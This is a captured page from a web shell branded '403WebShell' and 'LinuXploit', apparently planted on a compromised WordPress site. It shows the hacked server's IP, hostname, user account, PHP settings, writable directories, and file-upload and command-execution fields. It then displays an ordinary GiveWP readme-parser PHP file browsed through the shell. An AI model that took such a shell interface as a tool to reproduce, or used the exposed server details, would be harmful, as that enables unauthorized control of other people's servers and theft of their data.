Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.70.108
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/includes/class-give-readme-parser.php
<?php

/**
 * Give Readme Parser
 *
 * @package     Give
 * @since       2.1.4
 * @copyright   Copyright (c) 2018, GiveWP
 * @license     https://opensource.org/licenses/gpl-license GNU Public License
 * @subpackage  Admin/Readme_Parser
 */
class Give_Readme_Parser
{
    /**
     * Readme file url
     *
     * @since  2.1.4
     * @access private
     * @var
     */
    private $file_url;

    /**
     * Give_Readme_Parser constructor.
     *
     * @param string $file_url
     */
    public function __construct(string $file_url)
    {
        $this->file_url = $file_url;
    }

    /**
     * Get required Give core minimum version for addon
     *
     * @since 2.1.4
     * @access public
     *
     * @return string
     */
    public function requires_at_least()
    {
        // Regex to extract Give core minimum version from the readme.txt file.
        preg_match('/Requires (Give|GiveWP):(.*)/i', $this->get_readme_file_content(), $_requires_at_least);

        if (is_array($_requires_at_least) && 3 === count($_requires_at_least)) {
            $_requires_at_least = trim($_requires_at_least[2]);
        } else {
            $_requires_at_least = null;
        }

        return $_requires_at_least;
    }

    /**
     * @since 2.21.0
     */
    protected function get_readme_file_content(): string
    {
        return wp_remote_retrieve_body(wp_remote_get($this->file_url));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit